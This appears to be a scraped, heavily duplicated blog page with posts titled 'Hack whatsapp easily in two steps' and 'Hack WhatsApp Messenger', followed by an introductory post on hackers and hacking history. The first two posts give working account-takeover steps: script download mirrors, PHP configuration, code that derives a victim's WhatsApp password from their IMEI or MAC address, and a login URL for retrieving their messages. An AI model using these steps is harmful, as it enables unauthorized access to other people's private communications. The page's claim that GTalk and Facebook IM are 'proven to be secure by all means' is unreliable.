Hack whatsapp easily in two steps
WhatsApp uses some sort of customized XMPP server, named internally as FunXMPP, which is basically some extended proprietary version. Much like XMPP, WhatsApp uses JID (jabber id) and password to successfully login to the service. The password is hashed and happened to be an MD5’d, reversed-version of the mobile’s IMEI (International Mobile Equipment Identity) or equivalent unique ID, stored in servers upon account creation and used transparently everytime the client connects the server.
So you need ONLY IMEI and MOBILE
NUMBER ..
You can download Script from here:
https://github.com/venomous0x/
WhatsAPI [Current Down because of
Legal Actions from WhatsApp]
Old Revision:
http://goo.gl/FjpVO
Mirrors:
http://d-h.st/8XT
https://anonfiles.com/
file/64c9322fc...0c66a9d9d7986a
http://www.sendspace.com/file/1gr7pj
Just change in /tests/whatsapp.php
PHP Code:
$nickname = "WhatsAPI Test" ;
$sender = "491234567890" ; // Mobile number with country code (but without + or 00)
$imei = "000000000000000" ; // MAC Address for iOS IMEI for other platform (Android
If you get errors change the path to real
Path like C:/src/php/
whatsprot.class.php
PHP Code:
require "../src/php/whatsprot.class.php" ;
If you use XAMPP change in php.ini
PHP Code:
; extension = php_openssl . dll
extension = php_openssl . dll
To start go to PHP Folder and enter: (in
tests)
Code:
php -s "Mobile number with country code" "Message".
So you need ONLY IMEI and MOBILE
NUMBER ..
You can download Script from here:
https://github.com/venomous0x/
WhatsAPI [Current Down because of
Legal Actions from WhatsApp]
Old Revision:
http://goo.gl/FjpVO
Mirrors:
http://d-h.st/8XT
https://anonfiles.com/
file/64c9322fc...0c66a9d9d7986a
http://www.sendspace.com/file/1gr7pj
Just change in /tests/whatsapp.php
PHP Code:
$nickname = "WhatsAPI Test" ;
$sender = "491234567890" ; // Mobile number with country code (but without + or 00)
$imei = "000000000000000" ; // MAC Address for iOS IMEI for other platform (Android
If you get errors change the path to real
Path like C:/src/php/
whatsprot.class.php
PHP Code:
require "../src/php/whatsprot.class.php" ;
If you use XAMPP change in php.ini
PHP Code:
; extension = php_openssl . dll
extension = php_openssl . dll
To start go to PHP Folder and enter: (in
tests)
Code:
php -s "Mobile number with country code" "Message".
Read More »
Labels:
Whatsapp tricks
HACK WHATSAPP MESSENGER
Desktop IMs have long been our favorite mode of communication. But with time, their significance has definitely come down.
Smartphones taking large part of our daily life, IM services like Whatsapp, iMessage, BBM, etc have emerged to be exchanging more messages every second. WhatsApp delivers more than 1 billion messages per day, but yet, its the most insecure way of communication.
As per a recent security analysis, WhatsApp is totally insecure way of communicating with friends.
The local storage isn’t any different, you can checkout WhatsApp Database Encryption Project Report
WhatsApp uses customized XMPP server with proprietary extensions, named internally as FunXMPP.
1. WhatsApp Authentication / Login Mechanism
Just like any other XMPP, WhatsApp uses jabber id and password to login. The password is hashed, stored in servers upon account creation and used transparently everytime the client connects the server.
Its an incredibly horrible implementation. As researcher found out, the username is the user’s phone number – an attacker would probably already knows the victim’s number.
On Android, the password is a md5 hash of the reversed IMEI number:
On iOS, the password is generated from the devices WLAN MAC address:
Both IMEI and MAC address are easily retrievable from devices if you have physical access to it. MAC address is much easier to capture as you can sniff on the wireless network to which iOS device is connected.
The JID is a concatenation between your country’s code and mobile number.
Initial login uses Digest Access Authentication. You can try this for yourself:
2. Text Message communication
Messages are basically sent as TCP packets, following WhatsApp’s own format (unlike what’s defined in XMPP RFCs).
Photos, Videos and Audio files shared with WhatsApp contacts are HTTP-uploaded to a server before being sent to the recipient(s) along with Base64 thumbnail of media file (if applicable) along with the generated HTTP link as the message body.
Key “P” is the users phone number, Key “T” seems to be the uptime(?),
Key “S” is the users status message. Not sure about “JID” and “NP” yet –
if you have smart guess let me know. All this information is public.
Verdict
WhatsApp is fastest growing IM service and yet, the most insecure. If you really care about your data privacy, stop using WhatsApp till its fixed. Rely on GTalk, facebook IM, which are proven to be secure by all means.
Smartphones taking large part of our daily life, IM services like Whatsapp, iMessage, BBM, etc have emerged to be exchanging more messages every second. WhatsApp delivers more than 1 billion messages per day, but yet, its the most insecure way of communication.
As per a recent security analysis, WhatsApp is totally insecure way of communicating with friends.
WhatsApp Encryption
You will be surprised to know that until 2012, messages sent through the WhatsApp service were not encrypted in any way, everything was sent in plaintext. That means if you were using Whatsapp on a public wifi, everything can be captured by anyone else sniffing ont he wireless network. The latest WhatsApp uses encryption but its this new encryption is broken. But still, phone number is sent out in plaintext.The local storage isn’t any different, you can checkout WhatsApp Database Encryption Project Report
WhatsApp API & Reverse Engineering
If you know XMPP, the same protocol used by facebook, GTalk, and several others, you can try your hands-on WhatsAPI (https://github.com/venomous0x/WhatsAPI), an API for WhatsApp messenger.WhatsApp uses customized XMPP server with proprietary extensions, named internally as FunXMPP.
1. WhatsApp Authentication / Login Mechanism
Just like any other XMPP, WhatsApp uses jabber id and password to login. The password is hashed, stored in servers upon account creation and used transparently everytime the client connects the server.
Its an incredibly horrible implementation. As researcher found out, the username is the user’s phone number – an attacker would probably already knows the victim’s number.
On Android, the password is a md5 hash of the reversed IMEI number:
$imei = "112222223333334"; // example IMEI
$androidWhatsAppPassword = md5(strrev($imei)); // reverse IMEI and calculate md5 hashOn iOS, the password is generated from the devices WLAN MAC address:
$wlanMAC = "AA:BB:CC:DD:EE:FF"; // example WLAN MAC address
$iphoneWhatsAppPassword = md5($wlanMAC.$wlanMAC); // calculate md5 hash using the MAC address twiceBoth IMEI and MAC address are easily retrievable from devices if you have physical access to it. MAC address is much easier to capture as you can sniff on the wireless network to which iOS device is connected.
The JID is a concatenation between your country’s code and mobile number.
Initial login uses Digest Access Authentication. You can try this for yourself:
https://r.whatsapp.net/v1/exist.php?cc=$countrycode&in=$phonenumber&udid=$password
$countrycode = the country calling code
$phonenumber = the users phone number (without the country calling code)
$password = see above, for iPhone use md5($wlanMAC.$wlanMAC), for Android use md5(strrev($imei))
The response you would receive would be in XML, containing messages designated for your phone.2. Text Message communication
Messages are basically sent as TCP packets, following WhatsApp’s own format (unlike what’s defined in XMPP RFCs).
Photos, Videos and Audio files shared with WhatsApp contacts are HTTP-uploaded to a server before being sent to the recipient(s) along with Base64 thumbnail of media file (if applicable) along with the generated HTTP link as the message body.
WhatsApp Privacy Leak
WhatsApp shares your contacts with the server, we all know that. But the way it is done is ridiculously insecure. It basically sends contact information as:https://sro.whatsapp.net/client/iphone/iq.php?cd=1&cc=$countrycode&me=$yournumber&u[]=$friend1&u[]=$friend2&u[]=$friend3&u[]=$friend4
The server response looks like:
|
Verdict
WhatsApp is fastest growing IM service and yet, the most insecure. If you really care about your data privacy, stop using WhatsApp till its fixed. Rely on GTalk, facebook IM, which are proven to be secure by all means.
Read More »
Labels:
Whatsapp tricks
WHAT IS A HACKER?
Hello guys, hope you all are fine their.
This is my first post on ,the now-days famous, term named hacking. But all this with a positive sense as mentioned in my description..
This post deals with the introduction to hacking. Lets begin..
In this post I’ll discuss on the following topics:
Hacking is a process to bypass the security mechanisms of an information system or network.
Or
In common usage, hacker is a generic term for a computer criminal, often with a specific specialty
in computer intrusion. While other definitions peculiar to the computer enthusiast community
exist, they are rarely used in mainstream context. ..
Or
Hacking is an unauthorized use of computer and network resources. (The term “hacker” originally
meant a very gifted programmer. In recent years though, with easier access to multiple systems,
it now has negative implications..)
Defining Hacker:
A hacker is someone who likes to tinker with software or electronic systems.
Hackers loves exploring and learning how computer systems operate.
Now-days, hacker has taken on a new meaning — someone who maliciously breaks into systems
for personal gains. Technically, these criminals are crackers (criminal hackers).
*Crackers break into (crack) systems with malicious intent. They are out for personal gain: fame, profit, and even revenge.
*They modify, delete, and steal critical information, often making other people miserable.
There are two types of hackers:
(+) White Hat – These are considered the good guys. White hat hackers don’t use their skills for illegal purposes. They usually become Computer Security experts and help protect people from the Black Hats.
(-)Black Hat
– These are
considered the bad guys. Black hat hackers usually use their skills
maliciously for personal gain. They are the people that hack banks,
steal credit cards, and deface websites.
Understanding the Need to Hack Your Own Systems:
combined with the growing number of system vulnerabilities and other unknowns, the time will come when all computer systems arehacked
or compromised in some way. Protecting your systems from the bad guys —
and not just the generic vulnerabilities that everyone knows about— is
the need of the hour and is absolutely critical.
When you know hacker tricks, you can understand how vulnerable your systems are.
Hacking preys on weak security practices and undisclosed vulnerabilities.
[+]As hackers expand their knowledge, so should you.
What is an exploit?
An exploit is a piece of malware code that takes advantage of a newly-announced or otherwise unpatched vulnerability in a software application, usually the operating system, a web browser or a program that routinely activates through a web browser (PDF reader, media player, or other ‘plug-in’). A zero-day exploit is an exploit that takes advantage of a vulnerability on the same day
that the vulnerability is announced.
What is vulnerability?
Software applications, such as the Microsoft operating system or your web browser are complex feats of engineering, often with millions of lines of programming code. Inevitably, errors creep
into the code, and some of these errors create security vulnerabilities that malefactors can take advantage of with exploits and other malware.
Hacking History?
I know this topic seems quiet boring but interested one might love it.. <3
Hacking has been a part of computing for 40 years.
1960 s
The Dawn of Hacking
The first computer hackers emerged at MIT. They borrow their name from a term to describe members of a model train group at the school who “hack” the electric trains, tracks, and switches
to make them perform faster and differently. A few of the members transfer their curiosity and rigging skills to the new mainframe computing systems being studied and developed on campus.
1980 s
Hacker Message Boards and Groups
Phone phreaks begin to move into the real of computer hacking, and the first electronic bulletin board systems (BBSs) spring up.
The precursor to Usenet newsgroups and e-mail, the boards–with names such as Sherwood Forest and Catch-22–become the venue of choice for phreaks and hackers to gossip, trade tips,
and share stolen computer passwords and credit card numbers.
1988
The Morris Worm
Robert T. Morris, Jr., a graduate student at Cornell University and son of a chief scientist at a division of the National Security Agency, launches a self-replicating worm on the government’s
ARPAnet (precursor to the Internet) to test its effect on UNIX systems.
The worm gets out of hand and spreads to some 6000 networked computers, clogging government and university systems. Morris is dismissed from Cornell, sentenced to three years’ probation, and fined $10,000.
1995
The Mitnick Takedown
Serial cybertrespasser Kevin Mitnick is captured by federal agents and charged with stealing 20,000 credit card numbers. He’s kept in prison for four years without a trial and becomes acause célèbre in the hacking underground.
After pleading guilty to seven charges at his trial in March 1999, he’s eventually sentenced to little more than the time he had already served while he awaited a trial.
Russian crackers siphon $10 million from Citibank and transfer the money to bank accounts around the world. Vladimir Levin, the 30-year-old ringleader, uses his work laptop after hours to
transfer the funds to accounts in Finland and Israel. Levin stands trial in the United States and is sentenced to three years in prison. Authorities recover all but $400,000 of the stolen money.
1998
The Cult of Hacking and the Israeli Connection
The hacking group Cult of the Dead Cow releases its Trojan horse program, Back Orifice–a powerful hacking tool–at Def Con. Once a hacker installs the Trojan horse on a machine running Windows 95 or Windows 98, the program allows unauthorized remote access of the machine.
2000
Service Denied
In one of the biggest denial-of-service attacks to date, hackers launch attacks against eBay, Yahoo, Amazon, and others.
Activists in Pakistan and the Middle East deface Web sites belonging to the Indian and Israeli governments to protest oppression in Kashmir and Palestine.
2001
DNS Attack
Microsoft becomes the prominent victim of a new type of hack that attacks the domain name server. In these denial-of-service attacks, the DNS paths that take users to Microsoft’s Web sites are corrupted. The hack is detected within a few hours, but prevents millions of users from reaching Microsoft Web pages for two days.
In this post I’ll discuss on the following topics:
- What is Hacking?
- Understanding the Need to Hack Your Own Systems
- History of Hacking
Hacking is a process to bypass the security mechanisms of an information system or network.
Or
In common usage, hacker is a generic term for a computer criminal, often with a specific specialty
in computer intrusion. While other definitions peculiar to the computer enthusiast community
exist, they are rarely used in mainstream context. ..
Or
Hacking is an unauthorized use of computer and network resources. (The term “hacker” originally
meant a very gifted programmer. In recent years though, with easier access to multiple systems,
it now has negative implications..)
Defining Hacker:
A hacker is someone who likes to tinker with software or electronic systems.
Hackers loves exploring and learning how computer systems operate.
Now-days, hacker has taken on a new meaning — someone who maliciously breaks into systems
for personal gains. Technically, these criminals are crackers (criminal hackers).
*Crackers break into (crack) systems with malicious intent. They are out for personal gain: fame, profit, and even revenge.
*They modify, delete, and steal critical information, often making other people miserable.
There are two types of hackers:
(+) White Hat – These are considered the good guys. White hat hackers don’t use their skills for illegal purposes. They usually become Computer Security experts and help protect people from the Black Hats.
(-)
Understanding the Need to Hack Your Own Systems:
To catch a thief, think like a thief.Above quote is the actual basis for Ethical Hacking. With the increased numbers and expanding knowledge of hackers
combined with the growing number of system vulnerabilities and other unknowns, the time will come when all computer systems are
When you know hacker tricks, you can understand how vulnerable your systems are.
Hacking preys on weak security practices and undisclosed vulnerabilities.
[+]As hackers expand their knowledge, so should you.
What is an exploit?
An exploit is a piece of malware code that takes advantage of a newly-announced or otherwise unpatched vulnerability in a software application, usually the operating system, a web browser or a program that routinely activates through a web browser (PDF reader, media player, or other ‘plug-in’). A zero-day exploit is an exploit that takes advantage of a vulnerability on the same day
that the vulnerability is announced.
What is vulnerability?
Software applications, such as the Microsoft operating system or your web browser are complex feats of engineering, often with millions of lines of programming code. Inevitably, errors creep
into the code, and some of these errors create security vulnerabilities that malefactors can take advantage of with exploits and other malware.
Hacking History?
I know this topic seems quiet boring but interested one might love it.. <3
Hacking has been a part of computing for 40 years.
1960 s
The Dawn of Hacking
The first computer hackers emerged at MIT. They borrow their name from a term to describe members of a model train group at the school who “hack” the electric trains, tracks, and switches
to make them perform faster and differently. A few of the members transfer their curiosity and rigging skills to the new mainframe computing systems being studied and developed on campus.
1980 s
Hacker Message Boards and Groups
Phone phreaks begin to move into the real of computer hacking, and the first electronic bulletin board systems (BBSs) spring up.
The precursor to Usenet newsgroups and e-mail, the boards–with names such as Sherwood Forest and Catch-22–become the venue of choice for phreaks and hackers to gossip, trade tips,
and share stolen computer passwords and credit card numbers.
1988
The Morris Worm
Robert T. Morris, Jr., a graduate student at Cornell University and son of a chief scientist at a division of the National Security Agency, launches a self-replicating worm on the government’s
ARPAnet (precursor to the Internet) to test its effect on UNIX systems.
The worm gets out of hand and spreads to some 6000 networked computers, clogging government and university systems. Morris is dismissed from Cornell, sentenced to three years’ probation, and fined $10,000.
1995
The Mitnick Takedown
Serial cybertrespasser Kevin Mitnick is captured by federal agents and charged with stealing 20,000 credit card numbers. He’s kept in prison for four years without a trial and becomes acause célèbre in the hacking underground.
After pleading guilty to seven charges at his trial in March 1999, he’s eventually sentenced to little more than the time he had already served while he awaited a trial.
Russian crackers siphon $10 million from Citibank and transfer the money to bank accounts around the world. Vladimir Levin, the 30-year-old ringleader, uses his work laptop after hours to
transfer the funds to accounts in Finland and Israel. Levin stands trial in the United States and is sentenced to three years in prison. Authorities recover all but $400,000 of the stolen money.
1998
The Cult of Hacking and the Israeli Connection
The hacking group Cult of the Dead Cow releases its Trojan horse program, Back Orifice–a powerful hacking tool–at Def Con. Once a hacker installs the Trojan horse on a machine running Windows 95 or Windows 98, the program allows unauthorized remote access of the machine.
2000
Service Denied
In one of the biggest denial-of-service attacks to date, hackers launch attacks against eBay, Yahoo, Amazon, and others.
Activists in Pakistan and the Middle East deface Web sites belonging to the Indian and Israeli governments to protest oppression in Kashmir and Palestine.
2001
DNS Attack
Microsoft becomes the prominent victim of a new type of hack that attacks the domain name server. In these denial-of-service attacks, the DNS paths that take users to Microsoft’s Web sites are corrupted. The hack is detected within a few hours, but prevents millions of users from reaching Microsoft Web pages for two days.
Now if you’re thinking, “Oh boy! Being a hacker sounds awesome!”, Then I have a question for you. Does it sound cool to live in a cell the size of your bathroom and be someone’s butt buddy for many years?I hope you like this article. Kindly give your precious views on this article in comment section.
Read More »
Labels:
Hacking
Subscribe to:
Posts (Atom)
![How To Hack Whatsapp [Tutorial] - Whatsapp Sniffing App](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vkQQVt8dga47yvaqCQmlJpSZ2l48dk2PVZuqYBZUSmTGZQVTewvAxiWD5PBTmQkZX1P9OxDOxt_E9eSGJmfkZ65TkM4AP0Vc0iW5sYqNFb58Q)
![WHATSAPP HACK - SPY TOOL - With PROOF! [FEBRUARY 2013] NO SURVEYS](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vkuMPwVBKFKErxn2vEJBZHoslCBPlptDSQaTjf59XrQQvstgy7RgezeziIQplTcmo7zEbSmY9iY8mCkVd2p5OLT9D2uXxSnZfdukYlCQMaZRo)
